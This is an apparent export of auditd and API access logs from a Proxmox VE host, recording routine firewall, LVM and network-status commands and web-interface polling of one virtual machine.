{"@timestamp":1781965985924,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965985.924:67938): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f0800 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65242 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964365969,"@rawstring":"node=pve type=EXECVE msg=audit(1781964365.969:60706): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965163084,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:21 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 885"} {"@timestamp":1781964308711,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964308.711:60477): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58069 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975830,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.830:67908): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965720768,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965720.768:66816): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253c20 a1=637ee7252450 a2=637ee7240ef0 a3=8 items=2 ppid=64173 pid=64174 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781965984996,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965984.996:67937): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65241 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964365959,"@rawstring":"node=pve type=EXECVE msg=audit(1781964365.959:60705): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965161973,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:21 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964308691,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964308.691:60475): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58068 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975820,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.820:67907): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965720766,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965720.766:66815): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253b60 a1=637ee7248420 a2=637ee7257220 a3=8 items=2 ppid=846 pid=64172 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965984984,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965984.984:67934): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65240 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964365951,"@rawstring":"node=pve type=EXECVE msg=audit(1781964365.951:60704): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965161973,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:21 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964308691,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964308.691:60474): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58068 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975814,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.814:67906): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965719065,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965719.065:66814): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64171 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965984095,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965984.095:67931): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1382890 a1=64f8d73d4430 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65239 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964365945,"@rawstring":"node=pve type=EXECVE msg=audit(1781964365.945:60703): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965161973,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:20 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 888"} {"@timestamp":1781964306070,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964306.070:60470): arch=c000003e syscall=59 success=no exit=-2 a0=7fffa7df7b40 a1=5f56a3b8e1c0 a2=5f56a3b6c680 a3=5 items=1 ppid=58061 pid=58062 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975807,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.807:67905): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965719058,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965719.058:66811): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64170 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965984073,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965984.073:67930): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740be20 a1=64f8d5f90d40 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65238 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964365928,"@rawstring":"node=pve type=EXECVE msg=audit(1781964365.928:60702): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965160881,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:20 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1087"} {"@timestamp":1781964305963,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964305.963:60452): arch=c000003e syscall=59 success=no exit=-2 a0=7fffbf194b30 a1=62ae878a8b00 a2=62ae8788b680 a3=5 items=1 ppid=58042 pid=58043 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975806,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.806:67904): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965715549,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.549:66808): arch=c000003e syscall=59 success=yes exit=0 a0=58718875ed30 a1=58718876af00 a2=587188738680 a3=5 items=2 ppid=64163 pid=64169 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965979977,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965979.977:67929): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65233 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964365913,"@rawstring":"node=pve type=EXECVE msg=audit(1781964365.913:60701): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965160881,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:19 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 914"} {"@timestamp":1781964303673,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964303.673:60442): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58032 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975804,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.804:67903): argc=1 a0=\"date\""} {"@timestamp":1781965715545,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.545:66807): arch=c000003e syscall=59 success=yes exit=0 a0=587169f84ac8 a1=7ffe6d1aaf40 a2=587188738680 a3=587169f6824e items=2 ppid=64163 pid=64165 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965979971,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965979.971:67926): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65232 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964364368,"@rawstring":"node=pve type=EXECVE msg=audit(1781964364.368:60700): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965159644,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781964303673,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964303.673:60441): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58032 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975800,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.800:67901): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965715543,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.543:66806): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe6d1aaf00 a1=58718875a3d0 a2=587188738680 a3=5 items=2 ppid=64163 pid=64164 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975910,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.910:67923): arch=c000003e syscall=59 success=yes exit=0 a0=5a4e67c94d70 a1=5a4e67ca0f80 a2=5a4e67c6e680 a3=5 items=2 ppid=65225 pid=65231 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964364313,"@rawstring":"node=pve type=EXECVE msg=audit(1781964364.313:60699): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965159644,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781964303664,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964303.664:60439): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58031 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975789,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.789:67900): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965715537,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.537:66804): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64163 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975906,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.906:67922): arch=c000003e syscall=59 success=yes exit=0 a0=5a4e2cb1bac8 a1=7ffcbcb6bd40 a2=5a4e67c6e680 a3=5a4e2caff24e items=2 ppid=65225 pid=65227 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964364070,"@rawstring":"node=pve type=EXECVE msg=audit(1781964364.070:60698): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965159644,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:18 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 913"} {"@timestamp":1781964303664,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964303.664:60438): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58031 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975781,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.781:67899): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965715531,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.531:66803): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64162 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975906,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.906:67921): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcbcb6bd00 a1=5a4e67c90410 a2=5a4e67c6e680 a3=5 items=2 ppid=65225 pid=65226 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964364045,"@rawstring":"node=pve type=EXECVE msg=audit(1781964364.045:60695): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965159644,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 499"} {"@timestamp":1781964298651,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964298.651:60436): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58028 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975773,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.773:67898): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965715522,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.522:66802): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64161 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975900,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.900:67919): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65225 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964359030,"@rawstring":"node=pve type=EXECVE msg=audit(1781964359.030:60692): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965158668,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:18 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964298650,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964298.650:60435): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58028 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975765,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.765:67897): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965715514,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.514:66801): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64160 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975891,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.891:67918): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65224 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964359017,"@rawstring":"node=pve type=EXECVE msg=audit(1781964359.017:60689): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965158668,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:17 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 902"} {"@timestamp":1781964298641,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964298.641:60433): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58027 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975755,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.755:67896): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965715505,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.505:66800): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64159 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975884,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.884:67917): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65223 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355850,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.850:60686): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965157638,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:16 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1087"} {"@timestamp":1781964298641,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964298.641:60432): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58027 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975591,"@rawstring":"node=pve type=EXECVE msg=audit(1781965975.591:67895): argc=4 a0=\"/usr/bin/perl\" a1=\"/usr/bin/pvesh\" a2=\"get\" a3=\"/nodes/pve/qemu/877/status/current\""} {"@timestamp":1781965715501,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.501:66799): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=603cc2f5c740 items=0 ppid=1156 pid=64158 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965975877,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.877:67916): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65222 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355834,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.834:60685): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965157638,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:16 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 915"} {"@timestamp":1781964295896,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.896:60428): arch=c000003e syscall=59 success=no exit=-2 a0=7ffde3d8c930 a1=5a0d668e7310 a2=5a0d668e0680 a3=5 items=1 ppid=58020 pid=58021 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965974963,"@rawstring":"node=pve type=EXECVE msg=audit(1781965974.963:67894): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965715497,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.497:66798): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ec9d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64158 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975867,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.867:67915): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65221 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355833,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.833:60684): argc=1 a0=\"date\""} 